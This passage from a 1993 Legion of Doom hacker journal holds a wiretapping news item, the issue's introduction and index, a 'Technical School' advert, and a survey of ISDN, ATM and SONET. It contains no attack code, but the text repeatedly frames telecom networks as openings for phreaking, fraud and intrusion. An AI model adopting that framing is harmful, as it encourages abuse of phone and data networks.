The lawsuit has been filed against Cincinnati Bell Inc. on behalf of Harold Mills, a former police lieutenant and former commander of the Cincinnati Vice Squad, as well as a number of other individuals and companies. Among the alleged victims mentioned in the complaint were Sen. Howard Metzenbaum (D-Ohio) and Proctor and Gamble Co. (Cincinnati, Ohio).

Gene Mesh, the attorney who filed the lawsuit, believes the Cincinnati Bell case is not an isolated incident but a trend...an explosion of cancer that "this kind of thing [wiretapping] has developed its own markets."

When asked if Cincinnati Bell was selling the information gained from tapping, Mesh said "we are proceeding along evidentiary lines to prove this."

Thus far, the civil action hinges on the testimony of two former Cincinnati Bell employees, Leonard Gates, a supervisor, and Robert Draise, an installer who at one time worked for Gates. Their combined testimony states that, under the auspices of Cincinnati Bell, they conducted over 1,200 illegal wiretaps from 1972 to the present.

According to Gates, as a result of the Proctor and Gamble wiretap, "we were into all of P&G's databases." In addition, both Gates and Draise claim to have been in on illegal wiretaps of General Electric Co.'s Aircraft Engines Division near Cincinnati. Draise also claims that he was ordered to identify all of GE's facsimile and modem lines for Cincinnati Bell.

Neither Proctor and Gamble nor General Electric would comment. However Sen. Howard Metzenbaum's Washington, D.D., office says that the Senator "found the news shocking and is awaiting more information to see if it [the wiretap] actually happened.

Meanwhile Cincinnati Bell maintains that the suit and allegations are merely Gates's and Draise's way of getting back at the phone company for having fired them.

Cyndy Cantoni, a spokesperson for Cincinnati Bell, said that "we have heard the allegations that we wiretapped, but if Draise or Gates did any tapping, it wasn't done at Cincinnati Bell's request."

Cantoni also cited a letter from Cincinnati Bell President Ray Clark that went out to all Cincinnati Bell employees in the wake of the publicity surrounding the wiretapping accusations. The letter stated that Gates had been warned in April 1985 against continuing an affair with an employee he had been supervising and who had accused him [Gates] of sexual harassment, according to Cantoni.

The letter went on to say that Gates reacted to the warning with insubordination and threats and "carried on a campaign against the company." As a result, Gates was fired for insubordination, says Cantoni. Robert Draise was fired after he was convicted of misdemeanor wiretapping charges for tapping the phone line of a friend's girlfriend, Cantoni says.

Cincinnati Bell is an independent telephone company that was allowed to keep the "Bell" trademark after divestiture, since it is older than AT&T, says Cantoni.

[End of Document]
[End Of The LOD/H Technical Journal Issue #4]

The LOD Technical Journal: File #1 of 12
Volume 1, Issue 5 Released: June 18, 1993.

LOD TECHNICAL JOURNAL

> The Legion of Doom will long be remembered in the computer underground as an innovative and pioneering force, that consistently raised the collective level of knowledge and provided many answers to questions ranging from the workings of the telephone system to the structure of computer operating systems.

5. At all times relevant herein, the Legion of Doom (LOD) was a closely knit group of computer hackers involved in:

   a. Disrupting telecommunications by entering computerized telephone switches and changing the routing on the circuits of the computerized switches.
   b. Stealing proprietary computer source code and information from companies and individuals that owned the code and information.
   c. Stealing and modifying credit information on individuals maintained in credit bureau computers.
   d. Fraudulently obtaining money and property from companies by altering the computerized information used by the companies.
   e. Disseminating information with respect to their methods of attacking computers to other computer hackers in an effort to avoid the focus of law enforcement agencies and telecommunication security experts.

   - Indictment laid down by a US District Court

> It wasn't the crimes they were committing, but the danger, the potential hazard, the sheer technical power LoD had accumulated, that had made the situation untenable.
> - Bruce Sterling in The Hacker Crackdown

Its been over THREE whole years since we last put out a TJ! May, 20th 1990 to be exact.

The LOD TJ, will publish any acceptable and original articles, technical explanations, schematics or other files that deal with computer security/insecurity, telecommunications, data networks, physical security, credit, law enforcement, privacy, cryptology, restricted information, editorial commentary and other topics. To submit an article for publication simply send it to us. Freelance writers are always sought after to provide original articles for the TJ. Bigger is better as far as this Journal goes. The more information, the more instruction and the more people can benefit from it.

The LOD also seeks qualified members to fill its ranks. You must possess a strong desire to both learn and teach. Those with an eleeet attitude need not apply. LOD's former membership was a list of some of the brightest and most capable individuals in the underground - names like Mark Tabas, The Mentor,

The Prophet and others. Take advantage of your opportunity to join the ranks of the world's greatest underground group. Apply today.

What is particularly needed right now is someone in the publishing business to publish all the TJ's on hard copy and make them available for mass sale. Not just another "hacker book company" mind you, but one that will be able to place the TJ in your common book store. As this will both give us legitimacy and make it available to the average person and not just those with modems or net.access. We expect to receive no profit from this so there is an added bonus to any potential publishers. If you are a publisher or can get us in contact with one that can undertake this, by all means contact us.

Reach us at:

Internet Email: tdc@zooid.guild.org

Mail:
LOD
P.O. Box 104
4700 Keele St.
North York, ON
M3J-1P3

Voice: +1-416-609-7017

The Legion of Doom is back to...

- Provide free education for the public in data and telecom networks, operating systems and other aspects of technology. Through both our Technical Journal and our new Legion of Doom Technical School.
- Turn hacking back into its former glory of technical understanding away from its c0de abusing state today.
- Publish a high-quality Technical Journal available to all who are interested completely free of charge.
- Give fellow hackers an organized group of similar minded individuals to communicate and learn with.

Please be advised that we are still getting "back on our feet". So look for much better journals and other things to come from us in the future. It will take at least a couple years to get the Legion back to its former glory so don't expect things to happen instantly. Hopefully these journals can come out every couple of months, instead of our previous year odd gaps between releases. But as finding and writing suitable articles is very difficult it may be sometime before the next issue comes out. If this does happen, don't assume we're dead. More journals will come out, it is only a question of when.

For one reason or another the LOD has always been surrounded by an atmosphere of mis-information, confusion and downright lies. Everyone has heard the expression "don't believe everything you hear". This is especially true with anything concerning the LOD. As a general rule if you didn't hear it in this TJ, chances are its untrue or incorrect.

This TJ may be freely distributed on either hard or soft copy forms as long as it has not been altered.

TABLE OF CONTENTS:

Name of article or file	Author	Size
01 Introduction to the LOD Technical Journal and Table Of Contents for Volume 1, Issue 5	Staff	03K

02	The Legion of Doom Technical School: 1993-1994 Program Calendar	Staff	08K
03	Index to the LOD Technical Journals: Issues 1-5	Staff	06K
04	Communications Technology	Unequal Access	24K
05	DMS-100 Maintenance	Unequal Access	14K
06	Operator Service Position System (OSPS)	The Enforcer	12K
07	Testing Operations Provisioning Administration System (TOPAS)	Mystik Freak	09K
08	International Switching Systems	Mystik Freak	30K
09	Hacking GANDALF XMUXs	Deicide	12K
10	TEMPEST Technology	Grady Ward	13K
11	Presidential Security	Argon	14K
12	Network News & Notes	Staff	63K

Total: 12 files 208K

Hope you find this Journal to be of some use to you it took a good deal of time to put together. Remember that the mind is like a parachute. It only works when open. Stand back, open your mind and get ready for an influx!

(>----------<)

The LOD Technical Journal: File #2 of 12

1993-1994 PROGRAM CALENDAR

L
e
g
i
o
n

of

D
o
o
m

TECHNICAL SCHOOL

Rather than just educating everyone informally in the ways of computer and telephone security and understanding, the LOD has decided to go all the way with it. No longer are we just a hacking group. The LOD is now offering formal courses the way any other accredited Technical School, College of Applied Arts or University does.

Several Reasons lay behind this bold new decision...

o Educate people in skills that can be applied to today's job market.

- Give a general understanding in computers/telecom.
- Offer unique courses that other institutions don't offer.
- Instead of people wrongly claiming to be a "hacker" they can now become one.
- Offer all those interested a chance to enrol.
- And to provide them free of charge.

Due to limited resources only the three courses we felt to be the most important are being offered. They will be conducted on a "correspondence" basis. It operates as follows. If you are seriously interested in enroling in these courses, send us Email or snail mail with the completed application form at the end of this calendar. That includes your name, address, phone number, Internet address if applicable and a brief outline of your educational and occupational background. Don't worry though all applicants are accepted. We would however advise everyone that previous experience with a computer is recommended. If sending snail mail be sure to provide a 8X11 size SASE for us to reply to you in. A course outline including a list of required readings and assignment due dates will be mailed back to you. In the outline will be full bibliographic information on the books and soft copy materials you'll need for the course. It will work just like any other course does just without the exams and tests as it would be impossible to adjudicate them. However, because of this and to maintain the integrity of the LOD Technical School papers will be marked sternly at post-secondary standards. After you submit your paper to us an LOD member will mark it and return it to you via snail or email with comments and a grade attached.

Now for the best part... You can take these LOD courses as "Courses at another institution". Meaning that yes, in addition to getting your degree, included in it can be LOD courses! ALL educational institutions have provisions for courses to be taken at other institutions. Its a fairly simple procedure. You go to your Office of Student Programmes/department/guidance centre etc. and obtain a form for "taking a course at another institution". Attach the course descriptions from this file and gain permission from the director of your faculty/department/program/etc. and then you are set. Providing you pass our courses with a high enough grade your institution will accept the courses as part of your degree requirements. If your institution has no equivalent courses, they can become "electives". Since you are usually required to take up to 3 elective courses to obtain a degree why not do something you enjoy? After all its more exciting than taking Early Italian Literature as your elective. There is no need to worry about our "legitimacy" as long as you obtain permission to take the course through the proper procedure. An institution does not need any kind of formal designation though the Department/Ministry of Education to provide a course. We are just another one of the millions of institutions throughout the world that offer training or formal courses. These courses can also be used to place you in "Advanced Standing" if you aren't at school now but decide to in the future. Or just for the sake of expanding your horizons/mind/abilities etc.

Because we have no set semester schedule, courses start at the first of every month and run for five months. Starting 1 November 1993. Take them at your own convenience. A maximum of one course may be taken at a time.

Here are the descriptions to the first 3 LOD Technical School Courses: (Full outlines will accompany your enrolment starting 1 November 1993)

----------CUT HERE----------

TEL3440 0.5 Credits Telephony
With the rise of sophisticated technology telephony is becoming much more complex. The entire telephone network from customer premises equipment to switching systems will be covered. Recent trends such as ISDN, BISDN, fiber optics and data networking will also be studied.

CSC3450 0.5 Credits Computer Security
With the rise of computers, securing them against criminal or malicious use has become vital. Surprisingly little attention has been devoted to it leaving many systems wide open to abuse. Covered in this course will be the security of LANs, networks and various operating systems. Cryptology will be examined as well.

HCK4100 0.5 Credits Intro to Hacking
Despite all the attention hackers have received, there is only a small core of no more than a few hundred people in the world that have the skills to actually hack. Starting with the basics of hacking it will guide you into more advanced intrusion techniques with the more popular operating systems. This course may be taken based on your own abilities, so master hacker or just plain novice it will fit you. PSNs, Internets, basic hacking on popular operating systems such as unix and vax will be covered along with other operating systems and nets depending on your time/prior abilities.

----------CUT HERE----------

Career Opportunities

After passing our courses you will be able to supplement your job skills for finding employment in any sector of the economy - Business, Industry or Government that deals with computers/telecom.

Remember these are FREE courses. They have a retail value of around US $1,250 each if taken at a high-quality University in the US. Take advantage of this opportunity to learn something you enjoy doing for FREE. The Legion of Doom believes in disseminating knowledge so is offering these courses as a public service to the world. Finally they are well worth your time. They are done in highly organized with carefully selected readings and assignments. It would take years of self-study to achieve what you can with these courses in just a few months. And because we don't spout out loads of useless and academic theory, math and equations like most institutions you'll learn far more here.

Since these are "correspondence" courses you must have a high degree of self-discipline and motivation. If you lack these qualities don't waste your time or ours by attempting them. They will take at least several hours of week on your part, so if you can't put aside such time don't bother with them.

If you would like to take these courses send the enclosed application form (either in email or snail mail) to the Legion of Doom Technical School at:

Internet: tdc@zooid.guild.org

Mail: LOD
P.O. Box 104
4700 Keele St.
M3J-1P3

----------CUT HERE----------

LOD Technical School Application Form
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

Note: The start date for these courses is 1 November, 1993. They are 5 months in duration. Right now applications are only being taken for the 1 November start date. You may take a maximum of one course at a time.

PERSONAL DATA
(If any of this is left blank, your application will be rejected)

Course you wish to sign up for:

Surname:
Given Name:
Daytime Phone Number (include NPA):
Office Phone Number w/Ext.:
Internet Email address (leave blank if none):

Address:
Apartment #:
City/Town:
State/Province:
Postal/Zip Code:
Country:

SUPPLEMENTARY DATA

Describe your computer related skills and experience:
-
-

What operating systems are you fluent in?
-

Briefly describe your educational background:
-
-
-
-
-

Your occupational background:
-
-
-
-
-

Do you have the self-discipline, dedication and time to apply yourself here?
-
-

Please include any other information that you feel we should be aware of, or any questions you may have:
-
-
-
-
-
-
-
-

----------CUT HERE----------

Send the completed form to us at one of the above addresses.

The LOD Technical Journal: File #3 of 12

%%%%%%%%%%%%%%
Legion of Doom
Technical Journal Index
Issues 1-5
%%%%%%%%%%

Name of article or file	Author	Size
Issue: 1 Released: Jan. 1, 1987		
01 Introduction to the LOD/H Technical Journal and Table Of Contents for Volume 1, Issue 1	Staff	04K
02 Custom Local Area Signalling Services (CLASS)	The Videosmith	17K
03 Identifying and Defeating Physical Security and Intrusion Detection Systems Part I: The Perimeter	Lex Luthor	23K
04 The Traffic Service Position System (TSPS)	The Marauder	23K
05 Hacking DEC's TOPS-20: Intro	Blue Archer	19K
06 Building your own Blue Box (Includes Schematic)	Jester Sluggo	16K
07 Intelligence and Interrogation Processes	Master Of Impact	18K
08 The Outside Loop Distribution Plant: Part A	Phucked Agent 04	25K
09 The Outside Loop Distribution Plant: Part B	Phucked Agent 04	23K
10 LOH Telenet Directory: Update #4 (1-1-87) Part A	LOH	25K
11 LOH Telenet Directory: Update #4 (1-1-87) Part B	LOH	18K
12 Network News & Notes	Staff	10K

Total: 12 files 223 K

Issue: 2 Released: Aug. 10, 1987		
01 Introduction to the LOD/H Technical Journal and Table of Contents for Volume 1, Issue 2		04K
02 The Networked Unix	Solid State	17K
03 Step By Step (SXS) Switching System Notes	Phantom Phreaker	12K
04 A Guide to the PRIMOS Operating System	Carrier Culprit	25K
05 Identifying and Defeating Physical Security and Intrusion Detection Systems Part II: The Exterior	Lex Luthor	30K
06 A Discrete Unix Password Hacker	Shooting Shark	09K
07 Hacking DEC's TOPS-20: Part II	Blue Archer	25K
08 Hacking IBM's VM/CMS Operating System, Part A.	Lex Luthor	26K
09 Hacking IBM's VM/CMS Operating System, Part B.	Lex Luthor	25K
10 Network News & Notes	Staff	07K

Total: 7 articles, 10 files 180 K

Issue: 3 Released: October 21, 1988		
01 Introduction to the LOD/H Technical Journal and Table Of Contents for Volume 1, Issue 3	Staff	02K
02 Understanding Automatic Message Accounting Part A	Phantom Phreaker	22K
03 Understanding Auotmatic Message Accounting Part B	Phantom Phreaker	25K
04 Update file: Shooting Shark's UNIX password hacker	Shooting Shark	03K
05 An Introduction to Teradyne's 4TEL System	Doom Prophet	12K
06 A Cellular Automaton Encryption System	The Mentor	29K
07 Hacking the IRIS Operating System	The Leftist	13K
08 A Guide to Coin Control Systems	Phase Jitter	08K
09 A UNIX password hacker from USENET	----------	16K
10 Reprint News Article: 'LOD BUST MYTH'	----------	13K
11 Network News & Notes	The Mentor	30K

Total: 6 articles, 11 files 173 K

Issue: 4 Released: May 20, 1990		
01 Introduction to the LOD/H Technical Journal and Table Of Contents for Issue #4	Staff	04K
02 The AT&T BILLDATS Collector System	Rogue Fed	14K
03 The RADAR Guidebook	Professor Falken	17K
04 Central Office Operations	Agent Steal	32K
05 A Hackers Guide to UUCP	The Mentor	27K
06 The History Of LOD/H	Lex Luthor	12K
07 The Trasher's Handbook to BMOSS	Spherical Abberation	11K
08 The LOD/H Telenet Directory Update #4 Part A	Erik Bloodaxe	65K
09 The LOD/H Telenet Directory Update #4 Part B	Erik Bloodaxe	43K

10 Network News and Notes Staff 38K

Total: 7 Articles 10 Files 263K

Issue: 5 Released: June 18, 1993
01 Introduction to the LOD Technical Journal and Table of Contents for Volume 1, Issue #5 Staff 03K
02 The Legion of Doom Technical School: 1993-1994 Program Calendar Staff 08K
03 Index to the LOD Technical Journals: Staff 06K
04 Communications Technology Unequal Access 24K
05 DMS-100 Maintenance Unequal Access 14K
06 Operator Service Position System (OSPS) The Enforcer 12K
07 Testing Operations Provisioning Administration System (TOPAS) Mystik Freak 09K
08 International Switching Systems Mystik Freak 30K
09 Hacking GANDALF XMUXs Deicide 12K
10 TEMPEST Technology Grady Ward 13K
11 Presidential Security Argon 14K
12 Network News & Notes Staff 63K

Total: 8 Articles 12 files 208K

These journals may be found at ftp.eff.org in the pub/cud/lod directory and on many other sites. Look for a full list in the next TJ. If your board or site would like to carry these TJs to aid in distribution let us know.

The LOD Technical Journal: File #4 of 12

=-=-=-=-=-=-=-=-=-=-=-=

Communications Technology

(tm) Unequal Access

LOD

June 1993

The title of this article is that of communications technology. Not data communications or telephony but communications. The two have for all practical purposes become one in the same. Voice communications, wireless communication services etc. are now being transmitted by digital means. What was once a simple matter of drawing a line between the two is no more the case.

This convergence together with new technologies radically changes the picture of communications. Many former concepts and systems will be obsolete in a few years.

To examine the future of communications i'll cover:

- ISDN and BISDN
- ATM
- SONET
- Service Net-2000
- Other developments

ISDN

=-=

A comprehensive description of ISDN would be to big to cram in here so a brief definition and update on the status of ISDN will be given.

ISDN Defined

ISDN is defined by the CCITT as:

...a network in general evolving from a telephony Integrated Digital Network (IDN), that provides end-to-end digital connectivity to support a wide range of services including voice and non-voice services, to which users have access by a limited set of standard multi-purpose user network interfaces...

Basically ISDN is a network that carries voice and data over the same lines. All services exist in digital form and can be switched by one network. Much has been forecasted about how ISDN will change the world with interactive television, home banking, employees conducting business at home, new services etc. with AI systems controlling central databases.

Technically defined it provides a digital interface, usually with 2 channel types - B channels for voice and data and D channels for signalling and control. This gives a dedicated channel for the subscribers information and one for control of the interface.

The fundamental building block of ISDN is its 64 kbps digital channels. With two main interfaces - Basic Rate Interface (BRI) and Primary Rate Interface (PRI). BRI handles small scale services such as subscriber lines and PRI handles large scale services such as central databases. Each has both a D channel and X number of B channels. BRI has 2B + D channels and PRI has 23B + D channels. Each B channel is 64 kbps and the D channel is 64 kbps for the PRI and 16 kbps for the BRI. To plan for future increases 384 kbps has been allotted to the H0 channel, 1336 kbps to the H11 channel and 1920 kbps to the H12 channel.

Integration

ISDN will have one format, so various devices won't need their own dedicated lines. One common interface will accommodate all applications. By having one set of wires and protocols users won't need to bother with coaxial cables for television, X.25 protocols for packet switched networks (PSNs), telex lines, various leased lines etc.

Misconceptions

ISDN itself isn't going to provide anything. It is just the standard for network interface. Anything new will depend upon the services offered on it. The concept of digital switching is not a new one to begin with. Its been in use since the mid 60's. The real "upheaval" with ISDN is that Ma Bell is no longer going to provide just telephone calls but a whole range of services. This list of services along with speed requirements and channel type was taken from the IEEE.

Service	Speed Required	Channel
Voice	8,16,32,64 kbps	B
Alarms	10-100 bps	D
Smoke		
Fire		
Police		
Medical		
Utility metering	0.1-1 kbps	D
Energy Management	0.1-1 kbps	D
Interactive information	4.8-64 kbps	B
Electronic banking		
Electronic yellow pages		
Opinion polling		
High quality audio	~300-700 kbps	
Slow scan TV	56-64 kbps	B

Compressed video	~30 Mbps	
Compressed video conf.	~1.5 Mbps	
Broadcast video	~100 Mbps	
Switched video	~100 Mbps	
Interactive video	~100 Mbps	
Facsimile graphics	4.8-64 kbps	B

CCS

Another vital part of ISDN is Common Channel Signalling (CCS). Which separates signalling information from user data. Rather than being an older form of in-band signalling where signals and data are on the same channel it is out of band, where signals travel on different channels. This allows more services and reduces circuit connection times. ISDN uses SS no.7 (SS7). The initial version SS6 used analog trunks of 2400 bps, SS7 uses digital trunks of 56/64 kbps.
Well, you've most likely asking yourself what this all means for our underground activities. It will create a bonanza of new services and opportunities all unified in one network. Just as data and voice communications are merging so to will hacking, phreaking, cable fraud etc. Because ISDN has yet to be implemented on a mass scale in North America its not possible to say specifically how it may be abused. You should still be prepared for its arrival by understanding its design and purpose though.

Many supplementary services have been approved for ISDN by the CCITT and more are being approved right now:

Number Identification Services:
- Direct Dialing In (DDI)
- Multiple Subscriber Number (MSN) - Allows different numbers to ring at one number.
- Calling Line Identification Presentation (CLIP) - (ANI)
- Calling Line Identification Restriction (CLIR) - blocks out an incoming ISDN number.
- Connected Line Identification Presentation (CLOP)
- Connected Line Identification Restriction (COLR)
- Malicious Call Identification and Sub-Addressing (not yet defined by the CCITT).

Call Offering Services:
- Call Transfer - Lets a call be transferred to a third party.
- Call Forwarding Busy (CFB)
- Call Forwarding No Reply (CFNR)
- Call Forwarding Unconditional (CFU)
- Call Deflection

Misc. Services:
- Private Numbering Plan
- Advice of Charge - Allows the caller to find out the cost of a call before, during or after.
- Credit Card Calling and Reverse Charging
- User-to-User Signalling (UUS)

These supplementary services take advantage of SS7's full range of capabilites.

ISDN Trials

Since ISDN provides the "digital pipe" and the subscriber selects services; the network, circuits, trunks and customer premises equipment (CPE) are all being tested. Most of the early ISDN trials were quite basic and were intended only to prove the validity of ISDN concepts. The current status of ISDN is with more complex testing and actual implementations. A brief summary follows.

Location	Organization	Date	Details
Sweden	Televerket/Ericsson	1981	Local network transmission
Wisconsin	Wisconsin Bell/ Siemens	1985	Customer acceptance trials, mobile unit
Munich/Berlin	DBP/Various	1984	BIGFON, local wideband ISDN dist.
Tokyo	NTT	1984	INS trial; 64/16/4/4, B/B/D/D access
Venice	SIP/Ericsson	1984	I.412 access
London	BT/Various	1985	IDA trial, commercial 64/8/8, B/B/D access
Chicago	Illinois Bell/AT&T	1986	I.412 access, fairly basic
Phoenix	Mountain Bell/NT	1986	I.412, DMS-100, 3 customers
Phoenix	Mountain Bell/GTE	1986	GTD5 EAX
Phoenix	Mountain Bell/NEC	1986	Digital adjunct to 1A ESS
Portland	PacBell/NT	1987	DMS-100, 32 kbps voice channels
Atlanta	Southern Bell/AT&T	1987	5ESS
Boca Raton	Southern Bell/ Siemens	1987	EWSD
Ottawa	Bell Canada/NT	1986	DMS-100, SS7 trials
Ottawa	Bell Canada/NT	1987	DMS-100, basic and primary access
Belgium	RTT/BTMC	?	System 12, details unknown
Germany	DBP/Siemens/SEL	1986	EWSD System 12, comprehensive phased trials
France	CNET	1987	E 10, MT25, "Renan" project
Florida	Southern Bell/NT	1988	Fiber to home, POTS, ISDN, CATV transport
US	SWBT	1988	Internetwork 5ESS, DMS-100 and EWSD
US	MCI	1989	Test with Meridian SL-1 and SL-100s
US	Sprint	1990	All network switches support ISDN
US	AT&T	1990	Complete conversion to SS7
US	MCI	1990	Complete conversion to SS7
Australia	Telecom Australia	1990	ISDN commercially available
Japan	NTT	1990	ISDN in 200 cities
US	SWBT	1991	Internetworking of SWBT and IECs, ISDN and SS7
Brazil	Telbras	1993	ISDN commercially available
UK	BT	1993	PRI in place
Germany	Deutsche Bundepost Telekom	1993	Nation wide ISDN, 3 million users

Broadband ISDN (BISDN)

Is designed to exploit ISDN's full broadband capabilities. With BISDN everything from alarm monitoring to live action video broadcasts can be handled. BISDN is designed to use optical transmissions and compress its data up to 15 times by using more sophisticated terminal equipment. Thus BISDN can handle video images which require refreshing 30 times a second and would require transfer rates of 100 Mbps with no compression. Because of its complexity BISDN will likely end up in commercial applications in the near future.

Transfer Modes

In the design of BISDN standards either the synchronous transfer mode (STM) or the asynchronous transfer mode (ATM) can be used. STM is the POTS way using time division multiplexing. Synchronous multiplexing uses a clock to assign windows for information to be transmitted, regardless of wether transmission takes place at all. Asynchronous multiplexing does without a clock to keep transmissions in place. ATM is virtually the same as this, with faster routines. In ATM windows for transmission are opened when needed and are not arbitrarily assigned. Information indicating the source is in each header. ATM is the more common method being CCITT approved. STM is still being debated as the use of highly accurate atomic clocks will ease

multiplexing digital bit streams coming from multiple locations.

ATM

Is a method of cell oriented switching and multiplexing giving high-speed, low error transmissions. Which combines the efficiency of packet technology with the reliability of circuit switching. It is made up of fixed, 53 character cells. Every cell has 48 characters and a 5 character header to keep track of its source. Incoming data is broken up into smaller uniform cells by ATM equipment, transmitted and reassembled upon reception.

Since processing fixed sized cells is such a basic task, ATM is much faster at packet switching than say X.25 is. Giving ATM the ability to deal with such demanding applications as real-time video. ATM switches and transmits all forms of communications - voice, data, narrow and broadband, continuous and two-way dialogue traffic, in this uniform fashion. ATM transmits its data over a "virtual channel" when in connectionless mode. A virtual channel is the channel that connects points on the ATM network. A virtual connection moves a set of virtual channels with the same path identifier over the network. It has a cell header that consists of a virtual path and virtual channel identifier. To allow private networks, crossconnects or virtual path switches create a permanent link or virtual path between both ends of the network. Virtual path switches don't need signalling as ATM switches do.

The adoption of a global ATM network will be at the earliest in 1995. Trials with ATM are already underway. The move toward BISDN will require the development of both this ATM network and crossconnects.

SONET

The Synchronous Optical Network (SONET) is the ANSI standard for the transmission of ATM frames on optical fiber networks. SONET vastly increases potential transmission rates. It far surpasses today's DS3 speed and has an OC-1 bandwith of 51.84 Mb/s. OC-48 is 2.5 Gb/s, the commercial version will be much slower at OC-3 or 155 Mb/s.

In addition to providing greater data transfer rates it is a far more intelligent network, transmitting control directives in its synchronous stream. The subscriber's data is contained in the payload and the control directives in the overhead. Overhead is made up of its section, line and path components. Users can manipulate the network with messages placed in overhead. The section overhead covers frame and error monitoring and controls key equipment on the transmission line such as optical regenerators. Line overhead monitors performance. Path overhead monitors errors and controls the signalling between different points on the SONET network. SONET's synchronous bit streams give very reliable transmissions and multiplexing.

SONET more or less integrates the functions of OA&M and as a result fewer systems will be needed to perform them. What this means is fewer access ports will be available to dial into.

SONET (and for that matter ISDN, BISDN, SS7 and ATM) are more complicated and have a lot more to them than what's been presented here. Look for specialized files on them and what they can do for you in upcoming journals.

Service Net-2000

Service Net-2000 is designed to use the capabilites of the 5ESS Switch to provide a better public switched telephone network (PSTN). Improvements that are required by the advent of more technically demanding services such as HDTV, high speed data transmissions, speech recognition etc. These services

require faster and faster communications and higher bandwiths. Service Net-2000, is designed to provide higher capacity switching and data networks using SONET technology. The goal being to provide an effective universal information service (UIS). In this Service Net-2000 is a kind of "follow up" to ISDN.

Architecture

SS7 is at the heard of this intelligent network. It provides 64 kb/s voice transmissions and 1.54 mb/s (T1) data transmissions, when over fiber optic or other high bandwith lines.

The need for Service Net-2000 is high, once you consider the oncoming rush of optical transmissions measured in rates of gigabits/second. Nodes in Service Net-2000 are also "intelligent" being "self-aware", adapting to net changes, making corrections and self improving.

The main goal to Service Net-2000 architecture is to provide unification. It combines basic functions such as switching, routing etc. with data transmissions just as ISDN does. The end result being a decentralized CO throughout the system. As individual functions disappear and are replaced by this integrated system.

Service Node

This integration is performed by the service node. Based on the 5ESS-2000 system (note that 5ESS is now 5ESS-2000 when used with Service Net-2000 and broadband network services-2000 (BNS2000))

The "2000" group that forms this is based on SONET. Using flexible mapping and frame switching rates at multiples of 51.84 mb/s are supported. The "2000" group consists of the:

- Digital data multiplexer (DDM-2000)
- Digital access and cross-connect systems IV-2000 (DACS IV-2000)
- DACS III-2000 cross connect system
- DACScan-2000 controllers
- DACScan-2000 workstation
- FT-2000 lightware

The DACS IV-2000 is able to carry higher speed virtual tributary (VT) channels and not just today's, slower asynchronous ones. Both DACS IV-2000 and DACS III-2000 can support non-SONET hookups too, making them quite versatile. The DACS III-2000 differs from the IV-2000 in offering the DS3/Synchronous Transmission Signal-1 (STS-1)

5ESS-2000

As I mentioned before 5ESS-2000 combines BNS-2000 with the other members of the "2000" group. This boosts the capacity of a 5ESS-2000 Switch to 250,000 lines on 64,000 trunks. Key to this is the improved switching module, the SM-2000. It handles everything associated with a call and can even be used as a stand alone remote office, in which case it's called a EXM-2000.

To enable high-speed interfaces, 5ESS-2000 uses digital networking units (DNUs). All a DNU is, is a combination of a 5ESS Switch with say a DACS switch. The DNU-IV is a derivative of the DACS IV-2000 and gives additional high speed possibilities. Due to its high operating speed it can greatly speed up CO operations that are slowed down by older copper wirings.

With the DNS-2000 cell switch, the broadband integrated services digital network (BISDN) will be created. Point-to-point packet frame relays can be provided even to those lacking T-1s. As well as offering switched multimegabit data services (SMDS) with up to T3 capabilities. The cell switch

is made up of low speed port carriers running at 8 mb/s and high-speed switching systems running in excess of 200 mb/s. BNS-2000 handles both frame relays that require connections and SMDSs which don't.

Service Net-2000 has the ability to redirect calls between different areas effortlessly. The service control point (SCP) provides the information for the service circuit node based on call screening options, the date/time etc. Allowing the 5ESS-2000 switch to offer a whole range of options such as call waiting, forwarding, blocking etc.

Basically the idea behind Service Net-2000 is to add intelligence to the 5ESS switching system and to drastically improve its speed and call handling abilities. With the purpose of creating a more powerful UIS.

Other Developments

Intelligent Network (IN)

IN is just distributing AI throughout the network. A trend which pops up numerous times throughout this issue of the journal with Expert Systems, Service-Net 2000 etc. The idea behind IN is to have large and fast central databases connected with the rest of the network with protocols such as X.25, SS7 etc. IN allows global service to be introduced easier with good flexibility.

IN is comprised of service switching points (SSPs) and service control points (SCPs). SSP takes calls and sends them to an SCP. SCPs contain the databases themselves such as calling card verification data.

Telecommunication Management Network (TMN)

TMN as the name implies manages the network. TMN performs OA&M on a CCITT standardized structure.

Gigabit Testbeds

Are now being implemented for experimental purposes by DARPA, NSF and others. Several are being conducted by the Corporation for National Research Initiatives (NRI). They involve telcos, academic, commercial and government researchers for the future National Research and Education Network (NREN) Internet. NREN promises a good deal of services, such as real-time transmission of high-speed data streams, huge automated electronic libraries and Gb/s transmission rates taking us away from ascii into full motion video.

One experimental net is Vistanet with ATM and SONET capabilities and 622 Mb/s speed. Another one is Aurora. Bellcore is providing an experimental Sunshine switch and IBM a Planet Packet Transfer Mode (PTM). Unlike ATM, PTM packets have no fixed size being as large as 2k. PTM is not a recognized standard but may end up in commercial use, with ATM serving the network itself from the CO.

NT is providing a SONET Digital Multiplex System (S/DMS) that takes up to 16 SONET inputs of 155 Mb/s and multiplexes them to 2.4 Gb/s for Casa a co-operative venture of several organizations in California. The main component of Casa is a high-performance parallel interface (Hippi) gateway for SONET.

A European group called RACE (R&D in advanced communications technologies in Europe) is designing Integrated Broadband Communications (IBC) within a BISDN. RACE is also working on Code-Division Multiple Access (CDMA), optical networks, teleshopping, electronic funds transfer over a ATM BISDN, mobile network architecture and the universal mobile telecommunications system (UMTS).

The Future

Compared to the last century of relatively stagnant copper wiring the impact of higher bandwiths and optical technologies will - eventually - be monumental. All of this does however depend on the introduction of optical fibers. Because of the narrow-band copper wires that are the last link to the subscriber, evolution to better technology is stunted (in the US at least). The cost of overhauling these copper wires in the US with fiber ones is on the order of 200 billion US. In other nations however, the use of fibers linking residential homes is more than 50%. Fiber technology is however, constantly growing and its price dropping.

As an aside to all this, look at what's been done in the last 10 years of communications compared to the last 100 years. We are constantly lessening the doubling time of communications technology. In the next 3 years we will equal the last 10 years of progress. Soon it will drop down to a year and then to a matter of months. Since International standards take 15 + years to work out bureaucracy may become an impediment.

Sources
IEEE 0018-9235/93
Telecommunications Journal April 1993
Various books and articles on ISDN

The LOD Technical Journal: File #5 of 12

=/=/=/=/=/=/=/=/=/=/=/=/=/=/=/=
Maintenance
for DMS-100
Written by -
-/- Unequal Access -/-

.Introduction

In order to maintain Northern Telecom's (NT) DMS-100 Digital Switch an advanced menu driven man-machine interface (MMI) is used. It is comprised of a Visual Display Unit (VDU) which is part of the Maintenance and Administrative Position (MAP) interface. I'm going to outline how it deals with maintenance, alarms, and administration. A quick example of how it handles line and trunk trouble reports and the addition of a new subscriber will be given.

.Maintenance and Administrative Position (MAP)

Hardware
